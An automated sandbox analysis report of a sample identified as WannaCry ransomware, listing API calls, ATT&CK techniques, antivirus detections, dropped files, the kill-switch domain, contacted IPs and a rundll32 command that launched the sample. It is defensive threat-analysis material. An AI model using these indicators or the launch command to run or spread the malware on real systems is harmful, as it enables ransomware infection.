Source: tasksche.exe, 00000008.00000003.460976154.00000000050B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: tasksche.exe, 00000008.00000003.460976154.00000000050B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: XQACHMZIHU.mp3c6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}efbs
Source: svchost.exe, 0000000F.00000002.984308315.000001F8EF202000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcDsSvcfhsvcWPDBusEnumsvsvcwlansvcEmbeddedModeirmonSensorServicevmicvssNgcSvcsysmainDevQueryBrokerStorSvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionNcbServiceNetmanDeviceAssociationServiceTabletInputServicePcaSvcIPxlatCfgSvcCscServiceUmRdpService
Source: svchost.exe, 0000001A.00000002.787104809.00000165A6C87000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.737549415.00000165A6CA3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000002.787437666.00000165A6CEB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: tasksche.exe, 00000008.00000003.460320984.00000000050B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: zSTORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}efbs
Source: svchost.exe, 0000000F.00000002.984454333.000001F8EF228000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\tasksche.exe

Code function: 9_2_0041E6DE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

9_2_0041E6DE

Source: C:\Windows\tasksche.exe

Code function: 9_2_0040CEB6 LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,

9_2_0040CEB6

Source: C:\Windows\tasksche.exe	Code function: 9_2_004234CE SetUnhandledExceptionFilter,	9_2_004234CE
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041E6DE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_0041E6DE
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041FFDB _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_0041FFDB
Source: C:\Windows\tasksche.exe	Code function: 9_2_00423F89 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,RtlUnwind,	9_2_00423F89

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\48O5lgRp91.dll",#1

Jump to behavior

Source: C:\Windows\tasksche.exe	Code function: GetLocaleInfoW,GetNumberFormatW,		9_2_0040D155
Source: C:\Windows\tasksche.exe	Code function: GetLocaleInfoA,		9_2_00425EF0

Source: C:\Windows\tasksche.exe

Code function: 8_2_0040CA52 cpuid

8_2_0040CA52

Source: C:\Windows\tasksche.exe

Code function: 9_2_0040FEF0 OleInitialize,_memset,GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,LoadBitmapW,DialogBoxParamW,DeleteObject,DeleteObject,DeleteObject,CloseHandle,Sleep,OleUninitialize,

9_2_0040FEF0

Source: C:\Windows\tasksche.exe

Code function: 9_2_00409C06 GetVersionExW,

9_2_00409C06

Source: C:\Windows\tasksche.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\tasksche.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\tasksche.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\tasksche.exe	Directory queried: C:\Users\user\Documents	Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	2 Native API	4 Windows Service	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	4 Windows Service	2 Obfuscated Files or Information	LSASS Memory	12 File and Directory Discovery	Remote Desktop Protocol	1 Data from Local System	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	2 Service Execution	Logon Script (Windows)	11 Process Injection	2 Software Packing	Security Account Manager	23 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 File Deletion	NTDS	1 Network Share Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	14 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	121 Masquerading	LSA Secrets	111 Security Software Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	11 Virtualization/Sandbox Evasion	Cached Domain Credentials	11 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 Remote System Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 Rundll32	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
48O5lgRp91.dll	80%	Metadefender		Browse
48O5lgRp91.dll	90%	ReversingLabs	Win32.Ransomware.WannaCry
48O5lgRp91.dll	100%	Avira	TR/AD.DPulsarShellcode.uvbfu
48O5lgRp91.dll	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Windows\mssecsvr.exe	100%	Avira	TR/AD.DPulsarShellcode.grbmv
C:\Windows\tasksche.exe	100%	Avira	TR/Rasftuby.cpsmr
C:\Windows\eee.exe	100%	Joe Sandbox ML
C:\Windows\mssecsvr.exe	100%	Joe Sandbox ML
C:\WINDOWS\qeriuwjhrf (copy)	69%	Metadefender		Browse
C:\WINDOWS\qeriuwjhrf (copy)	88%	ReversingLabs	Win32.Ransomware.WannaCry
C:\Windows\eee.exe	6%	Metadefender		Browse
C:\Windows\eee.exe	12%	ReversingLabs

Unpacked PE Files

Source	Detection	Scanner	Label	Download
6.0.mssecsvr.exe.400000.6.unpack	100%	Avira	TR/AD.DPulsarShellcode.grbmv	Download File
6.2.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/Rasftuby.cpsmr	Download File
4.0.mssecsvr.exe.400000.2.unpack	100%	Avira	TR/AD.DPulsarShellcode.grbmv	Download File
6.0.mssecsvr.exe.400000.4.unpack	100%	Avira	TR/AD.DPulsarShellcode.grbmv	Download File
4.2.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/Rasftuby.cpsmr	Download File
6.0.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/AD.DPulsarShellcode.grbmv	Download File
7.0.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/AD.DPulsarShellcode.grbmv	Download File
4.0.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/AD.DPulsarShellcode.grbmv	Download File
4.0.mssecsvr.exe.400000.4.unpack	100%	Avira	TR/AD.DPulsarShellcode.grbmv	Download File
7.2.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/Wanna.otiki	Download File
4.0.mssecsvr.exe.400000.6.unpack	100%	Avira	TR/AD.DPulsarShellcode.grbmv	Download File
6.0.mssecsvr.exe.400000.2.unpack	100%	Avira	TR/AD.DPulsarShellcode.grbmv	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://www.disneyplus.com/legal/your-california-privacy-rights	0%	URL Reputation	safe
http://crl.ver)	0%	Avira URL Cloud	safe
https://www.disneyplus.com/legal/privacy-policy	0%	URL Reputation	safe
https://www.tiktok.com/legal/report/feedback	0%	URL Reputation	safe
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.comJ	0%	Avira URL Cloud	safe
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	100%	URL Reputation	malware
http://help.disneyplus.com.	0%	URL Reputation	safe
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/	100%	Avira URL Cloud	malware
https://www.pango.co/privacy	0%	URL Reputation	safe
https://disneyplus.com/legal.	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	unknown	unknown	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.disneyplus.com/legal/your-california-privacy-rights	svchost.exe, 0000001A.00000003.749901189.00000165A7597000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.749828401.00000165A7597000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.749927898.00000165A75A4000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.ver)	svchost.exe, 0000001A.00000002.787437666.00000165A6CEB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://www.disneyplus.com/legal/privacy-policy	svchost.exe, 0000001A.00000003.749901189.00000165A7597000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.749828401.00000165A7597000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.749927898.00000165A75A4000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.tiktok.com/legal/report/feedback	svchost.exe, 0000001A.00000003.757467744.00000165A7A02000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.757437695.00000165A7592000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.756765575.00000165A75B9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.757201919.00000165A75A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.756810838.00000165A75B9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.comJ	mssecsvr.exe, 00000007.00000002.984056786.000000000019C000.00000004.00000010.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	mssecsvr.exe.2.dr	true	URL Reputation: malware	unknown
http://help.disneyplus.com.	svchost.exe, 0000001A.00000003.749901189.00000165A7597000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.749828401.00000165A7597000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.749927898.00000165A75A4000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.hotspotshield.com/	svchost.exe, 0000001A.00000003.744142929.00000165A7594000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.745547238.00000165A7576000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.744345175.00000165A7A02000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.744268794.00000165A75A5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.745579768.00000165A7579000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.hotspotshield.com/terms/	svchost.exe, 0000001A.00000003.744142929.00000165A7594000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.745547238.00000165A7576000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.744345175.00000165A7A02000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.744268794.00000165A75A5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.745579768.00000165A7579000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/	mssecsvr.exe, 00000007.00000003.390896197.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp, mssecsvr.exe, 00000007.00000003.390557983.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp, mssecsvr.exe, 00000007.00000003.390135943.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://www.pango.co/privacy	svchost.exe, 0000001A.00000003.744142929.00000165A7594000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.745547238.00000165A7576000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.744345175.00000165A7A02000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.744268794.00000165A75A5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.745579768.00000165A7579000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://disneyplus.com/legal.	svchost.exe, 0000001A.00000003.749901189.00000165A7597000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.749828401.00000165A7597000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.749927898.00000165A75A4000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
61.60.247.160	unknown	Taiwan; Republic of China (ROC)	9924	TFN-TWTaiwanFixedNetworkTelcoandNetworkServiceProvi	false
176.123.179.109	unknown	Russian Federation	49342	SPEEDYLINERU	false
190.204.157.79	unknown	Venezuela	8048	CANTVServiciosVenezuelaVE	false
202.8.143.216	unknown	China	136518	WA-GOVERNMENT-AS-APWAGovernmentprojectAU	false
77.33.121.52	unknown	Denmark	35612	NGI-ASIT	false
119.219.205.95	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
155.188.60.35	unknown	United States	20437	AS20437US	false
83.121.38.44	unknown	Iran (ISLAMIC Republic Of)	197207	MCCI-ASIR	false
77.167.81.213	unknown	Netherlands	1136	KPNKPNNationalEU	false
60.254.24.204	unknown	India	17488	HATHWAY-NET-APHathwayIPOverCableInternetIN	false
192.14.65.246	unknown	United States	29861	SYNTAXCA	false
53.235.104.146	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
223.119.113.33	unknown	Hong Kong	58453	CMI-INT-HKLevel30Tower1HK	false
175.109.55.25	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
184.241.191.225	unknown	United States	10507	SPCSUS	false
78.81.12.185	unknown	Russian Federation	16301	DATACOM-ASRU	false
170.44.43.49	unknown	United States	264957	CoopercitrusCooperativadeProdutoresRuraisBR	false
83.38.85.251	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
187.133.80.205	unknown	Mexico	8151	UninetSAdeCVMX	false
162.253.22.139	unknown	United States	31783	SKRC-SOUTH01US	false
14.102.161.185	unknown	India	17625	BLAZENET-IN-APBlazeNetsNetworkIN	false
179.56.131.95	unknown	Chile	14117	TelefonicadelSurSACL	false
106.222.34.198	unknown	India	45609	BHARTI-MOBILITY-AS-APBhartiAirtelLtdASforGPRSService	false
162.1.94.163	unknown	United States	27353	IUHEALTH-ASNUS	false
171.70.240.250	unknown	United States	109	CISCOSYSTEMSUS	false
89.100.145.101	unknown	Ireland	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
124.194.105.125	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	false
53.137.230.201	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
216.185.38.199	unknown	United States	22925	ALLIED-TELECOMUS	false
116.57.187.63	unknown	China	138369	CNGI-SZH-IX-AS-APCERNET2regionalIXatShenzhenUniversity	false
50.92.139.191	unknown	Canada	852	ASN852CA	false
63.213.116.32	unknown	United States	3356	LEVEL3US	false
37.94.214.141	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
24.249.8.113	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
12.91.194.238	unknown	United States	7018	ATT-INTERNET4US	false
58.233.171.230	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
25.112.183.107	unknown	United Kingdom	7922	COMCAST-7922US	false
50.155.48.109	unknown	United States	7922	COMCAST-7922US	false
213.102.88.228	unknown	Sweden	39651	COMHEM-SWEDENSE	false
29.0.21.61	unknown	United States	7922	COMCAST-7922US	false
173.234.59.74	unknown	United States	15003	NOBIS-TECHUS	false
53.40.243.79	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
25.140.116.180	unknown	United Kingdom	7922	COMCAST-7922US	false
104.80.176.27	unknown	United States	20940	AKAMAI-ASN1EU	false
94.115.176.60	unknown	Germany	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
184.184.155.239	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
136.219.233.109	unknown	United States	1563	DNIC-ASBLK-01550-01601US	false
160.215.250.207	unknown	Japan	3352	TELEFONICA_DE_ESPANAES	false
187.196.25.122	unknown	Mexico	8151	UninetSAdeCVMX	false
38.170.110.78	unknown	United States	174	COGENT-174US	false

Private

IP
192.168.2.148
192.168.2.149
192.168.2.146
192.168.2.147
192.168.2.140
192.168.2.141
192.168.2.144
192.168.2.145
192.168.2.142
192.168.2.143
192.168.2.159
192.168.2.157
192.168.2.158
192.168.2.151
192.168.2.152
192.168.2.150
192.168.2.155
192.168.2.156
192.168.2.153
192.168.2.154
192.168.2.126
192.168.2.127
192.168.2.124
192.168.2.125
192.168.2.128
192.168.2.129
192.168.2.122
192.168.2.123
192.168.2.120
192.168.2.121
192.168.2.97
192.168.2.137
192.168.2.96
192.168.2.138
192.168.2.99
192.168.2.135
192.168.2.98
192.168.2.136
192.168.2.139
192.168.2.130
192.168.2.91
192.168.2.90
192.168.2.93
192.168.2.133
192.168.2.92
192.168.2.134
192.168.2.95
192.168.2.131
192.168.2.94
192.168.2.132

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	669701
Start date and time: 20/07/202209:05:59	2022-07-20 09:05:59 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 13m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	48O5lgRp91 (renamed file extension from none to dll)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.rans.expl.evad.winDLL@25/4@3/100
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 99.3% (good quality ratio 93.8%) Quality average: 82.5% Quality standard deviation: 27.4%
HCA Information:	Successful, ratio: 86% Number of executed functions: 126 Number of non-executed functions: 120
Cookbook Comments:	Adjust boot time Enable AMSI Override analysis time to 240s for rundll32

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, wuapihost.exe
Excluded IPs from analysis (whitelisted): 23.211.6.115, 209.197.3.8, 20.223.24.244, 20.72.205.209, 20.49.150.241, 40.74.108.123
Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, settings-prod-wus2-2.westus2.cloudapp.azure.com, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ctldl.windowsupdate.com, store-images.s-microsoft.com-c.edgekey.net, settings-win.data.microsoft.com, settings-prod-wjp-1.japanwest.cloudapp.azure.com, arc.msn.com, atm-settingsfe-prod-weighted.trafficmanager.net, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, settings-prod-uks-2.uksouth.cloudapp.azure.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, login.live.com, store-images.s-microsoft.com, sls.update.microsoft.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: 48O5lgRp91.dll

Simulations

Behavior and APIs

Time	Type	Description
09:07:16	API Interceptor	1x Sleep call for process: loaddll32.exe modified
09:10:00	API Interceptor	8x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
TFN-TWTaiwanFixedNetworkTelcoandNetworkServiceProvi	l4YOWbDUWO.dll	Get hash	malicious	Browse	124.9.174.40
	chscbrEhPh.dll	Get hash	malicious	Browse	175.99.220.191
	P0zbN817cV.dll	Get hash	malicious	Browse	175.99.12.108
	kV8XquGBzF.dll	Get hash	malicious	Browse	124.12.171.1
	UjhHNEfOFP.dll	Get hash	malicious	Browse	211.79.29.238
	ziSKFwBeCq.dll	Get hash	malicious	Browse	118.233.157.23
	db0fa4b8db0333367e9bda3ab68b8042.i686	Get hash	malicious	Browse	210.63.139.189
	wBNbaj9srt	Get hash	malicious	Browse	219.81.177.244
	6RTi3seF1j	Get hash	malicious	Browse	175.99.22.159
	ChzwhQqrSV	Get hash	malicious	Browse	219.80.116.183
	xd.arm7	Get hash	malicious	Browse	123.195.144.187
	KCnzyWPw3G	Get hash	malicious	Browse	219.81.35.28
	irc.arm	Get hash	malicious	Browse	124.10.120.240
	NxnLWqZk3j	Get hash	malicious	Browse	203.65.210.250
	BN7G7T0h3p	Get hash	malicious	Browse	219.86.162.62
	xd.x86	Get hash	malicious	Browse	124.11.76.97
	ZG9zspc	Get hash	malicious	Browse	219.86.37.180
	sora.x86	Get hash	malicious	Browse	124.9.228.202
	jew.arm7	Get hash	malicious	Browse	61.31.242.85
	db0fa4b8db0333367e9bda3ab68b8042.sh4	Get hash	malicious	Browse	210.63.178.12

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
bd0bf25947d4a37404f0424edf4db9ad	LKFzQmYqgy.dll	Get hash	malicious	Browse	23.211.4.86 40.126.31.73 40.126.31.67 40.125.122.176 52.152.110.14 20.54.89.106 40.126.31.71
	ajz9t02xqL.dll	Get hash	malicious	Browse	23.211.4.86 40.126.31.73 40.126.31.67 40.125.122.176 52.152.110.14 20.54.89.106 40.126.31.71
	jlDcDtXgq9.dll	Get hash	malicious	Browse	23.211.4.86 40.126.31.73 40.126.31.67 40.125.122.176 52.152.110.14 20.54.89.106 40.126.31.71
	7L0nCME6Kp.dll	Get hash	malicious	Browse	23.211.4.86 40.126.31.73 40.126.31.67 40.125.122.176 52.152.110.14 20.54.89.106 40.126.31.71
	iuKGeTa48w.dll	Get hash	malicious	Browse	23.211.4.86 40.126.31.73 40.126.31.67 40.125.122.176 52.152.110.14 20.54.89.106 40.126.31.71
	vNpxhf7FVt.dll	Get hash	malicious	Browse	23.211.4.86 40.126.31.73 40.126.31.67 40.125.122.176 52.152.110.14 20.54.89.106 40.126.31.71
	I3sgx86wCF.dll	Get hash	malicious	Browse	23.211.4.86 40.126.31.73 40.126.31.67 40.125.122.176 52.152.110.14 20.54.89.106 40.126.31.71
	L41GW4JRiW.dll	Get hash	malicious	Browse	23.211.4.86 40.126.31.73 40.126.31.67 40.125.122.176 52.152.110.14 20.54.89.106 40.126.31.71
	X18orALLTB.dll	Get hash	malicious	Browse	23.211.4.86 40.126.31.73 40.126.31.67 40.125.122.176 52.152.110.14 20.54.89.106 40.126.31.71
	fQew7F3WdJ.dll	Get hash	malicious	Browse	23.211.4.86 40.126.31.73 40.126.31.67 40.125.122.176 52.152.110.14 20.54.89.106 40.126.31.71
	KzNCczOeyE.dll	Get hash	malicious	Browse	23.211.4.86 40.126.31.73 40.126.31.67 40.125.122.176 52.152.110.14 20.54.89.106 40.126.31.71
	fcZBQq5qMC.dll	Get hash	malicious	Browse	23.211.4.86 40.126.31.73 40.126.31.67 40.125.122.176 52.152.110.14 20.54.89.106 40.126.31.71
	7HIw4dumsu.dll	Get hash	malicious	Browse	23.211.4.86 40.126.31.73 40.126.31.67 40.125.122.176 52.152.110.14 20.54.89.106 40.126.31.71
	sbbpYv6Pjz.dll	Get hash	malicious	Browse	23.211.4.86 40.126.31.73 40.126.31.67 40.125.122.176 52.152.110.14 20.54.89.106 40.126.31.71
	vJYhypgR4J.dll	Get hash	malicious	Browse	23.211.4.86 40.126.31.73 40.126.31.67 40.125.122.176 52.152.110.14 20.54.89.106 40.126.31.71
	D5AeSqq60p.dll	Get hash	malicious	Browse	23.211.4.86 40.126.31.73 40.126.31.67 40.125.122.176 52.152.110.14 20.54.89.106 40.126.31.71
	8zry8ljo5K.dll	Get hash	malicious	Browse	23.211.4.86 40.126.31.73 40.126.31.67 40.125.122.176 52.152.110.14 20.54.89.106 40.126.31.71
